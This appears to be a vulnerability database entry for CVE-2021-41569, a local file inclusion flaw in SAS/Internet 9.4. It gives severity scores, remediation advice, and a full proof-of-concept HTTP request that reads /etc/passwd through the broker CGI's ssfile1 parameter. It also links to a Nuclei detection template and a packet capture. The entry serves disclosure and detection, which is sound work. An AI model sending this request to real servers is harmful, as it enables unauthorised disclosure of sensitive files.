| Title | SAS/Internet 9.4 1520 - Local File Inclusion |
|---|---|
| Author | 0x_Akoko |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure. |
| Remediation | Apply the latest security patches or updates provided by SAS to fix the LFI vulnerability in the SAS/Internet 9.4 1520 application. |
| CVSS Score | 7.5 |
| EPSS Score | 0.5477 |
| CVE ID | CVE-2021-41569 |
| CWE ID | CWE-829 |
| Tags | cve2021 cve sas lfi vkev vuln |
SAS/Internet 9.4 build 1520 and earlier allows local file inclusion. The samples library (included by default) in the appstart.sas file, allows end-users of the application to access the sample.webcsf1.sas program, which contains user-controlled macro variables that are passed to the DS2CSF macro.
GET /cgi-bin/broker?csftyp=classic,+ssfile1%3d/etc/passwd&_SERVICE=targetservice&_DEBUG=131&_DEBUG=131&_PROGRAM=sample.webcsf1.sas&sysparm=test&_ENTRY=SAMPLIB.WEBSAMP.PRINT_TO_HTML.SOURCE&BG=%23FFFFFF&DATASET=targetdataset&TEMPFILE=Unknown&style=a+tcolor%3dblue&_WEBOUT=test&bgtype=COLOR HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41569.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-41569.pcap
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